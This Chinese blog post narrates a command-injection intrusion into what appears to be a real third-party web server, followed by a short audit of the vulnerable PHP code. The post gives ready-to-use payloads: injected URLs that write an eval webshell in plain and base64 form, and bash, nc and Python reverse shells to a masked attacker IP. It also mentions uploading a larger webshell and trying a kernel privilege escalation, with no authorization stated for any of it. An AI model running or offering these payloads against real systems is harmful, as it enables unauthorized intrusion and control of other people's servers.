记一次命令执行GetShell(附带部分代码审计)

2016-09-22 10:51:11来源:作者:xiaix's Blog人点击

首先先上链接, http://*.*.*.*/goanalysis.php?usrid=|ifconfig

我们看到这里参数usrid是可以执行命令的,那也不多演示其他命令,我们的第一个目标就是GetShell,那就直接写个一句话上去吧。

于是我就准备直接访问 http://*.*.*.*/goanalysis.php?usrid=|echo "<?php @eval($_POST['pass']);?>" > test.php ,这样就会在目录下面生成一个名为 test.php 的一句话木马了。但随后我使用菜刀竟然无法连接上,这就很奇怪了,难道是在写入的时候引号被转义了?那我写一个Base64编码的一句话总行了吧 http://*.*.*.*/goanalysis.php?usrid=|echo "PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+Cgo=" |base64 -d >test1.php ,但结果依旧是连不上。

难道是我没有写入权限?但不对啊,我访问 test.php 页面是存在的啊,那就是写入的内容不对?不瞎想直接让我们 cat test.php 页面看一下就知道了。

这是什么鬼?看来一句话是真没写进去。(PS:拿下服务器后查看了这个文件,其实一句话是正确的写进去了,但就是不知道为什么菜刀连不上)

看来我应该换个思路,正向的不行那我反弹一个 shell 回来不就行了吗。那就开始吧,反弹一个 Bash 试试, http://*.*.*.*/goanalysis.php?usrid=|bash -i >& /dev/tcp/*.*.*.*/8080 0>&1 ,失败了,查了下反弹 Bash 是需要一定条件的,可能我这里不满足吧。

再试试反弹 NC, http://*.*.*.*/goanalysis.php?usrid=|nc -e /bin/sh *.*.*.* 1234 ,还是失败...

那就在试试反弹Python吧, http://*.*.*.*/goanalysis.php?usrid=|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("*.*.*.*",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ,OK,这会 shell 总算弹回来了。

之前尝试写过一句话发现连不上,那反弹回了 shell 就传个大马上去吧,传完后看看内核版本 uname -r 发现是3.10.0,查了下 kernel-exploits.com 看到可能存在两个提权,测试了下应该只存在一个CVE-2016-0728这个漏洞,但是因为耗时太久了,我就不提了吧(我能说是我等了一个小时还没跑完不想等了吗...)。

既然拿下了服务器,那就让我们来看下这个存在命令执行页面的源码吧,下面只贴存在问题的部分:

if(!$_GET['usrid']){echo "<p>Sorry, there is something wrong.</p>";} else{ $usrid=$_GET['usrid'];...... if(!file_exists("./tmp/$usrid/geneID.txt.terms")) { $analyse_query="perl analyze.pl GO-TermFinder-0.86/t/gene_associations.tigr 66152 GO-TermFinder-0.86/t/gene_ontology_edit.obo tmp/$usrid/geneID.txt >tmp/$usrid/analyze_result.txt"; system($analyse_query); } if(!file_exists("./tmp/$usrid/GO_P/geneID.html")) { $batch_query="/usr/bin/sudo perl batchGOView.pl GoViewP.ricenetdb.conf $usrid >tmp/$usrid/GO_P/view_result.txt"; system($batch_query); } if(!file_exists("./tmp/$usrid/GO_C/geneID.html")) { $batch_query="/usr/bin/sudo perl batchGOView.pl GoViewC.ricenetdb.conf $usrid >tmp/$usrid/GO_C/view_result.txt"; system($batch_query); } if(!file_exists("./tmp/$usrid/GO_F/geneID.html")) { $batch_query="/usr/bin/sudo perl batchGOView.pl GoViewF.ricenetdb.conf $usrid >tmp/$usrid/GO_F/view_result.txt"; system($batch_query); } if(!file_exists("./tmp/$usrid/GO_for_graph.txt")) { $sum_query="perl GO_for_graph.pl $usrid"; system($sum_query); }

这里首先没有对 usrid 参数进行过滤,随后无论是在 analyse_query 、 batch_query 或 sum_query 中都是直接将 $usrid 拼接到其中,最后调用 system() 函数进行执行,这就一个典型的 PHP 命令执行的例子。

没有什么太高深的技巧,就是一个简单的反弹 Shell。其实这个站好几个页面也都存在 SQL 注入,但无非都是同样的没有对接收到的参数进行过滤,而直接加入到查询语句中,就懒得在贴出来了。

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台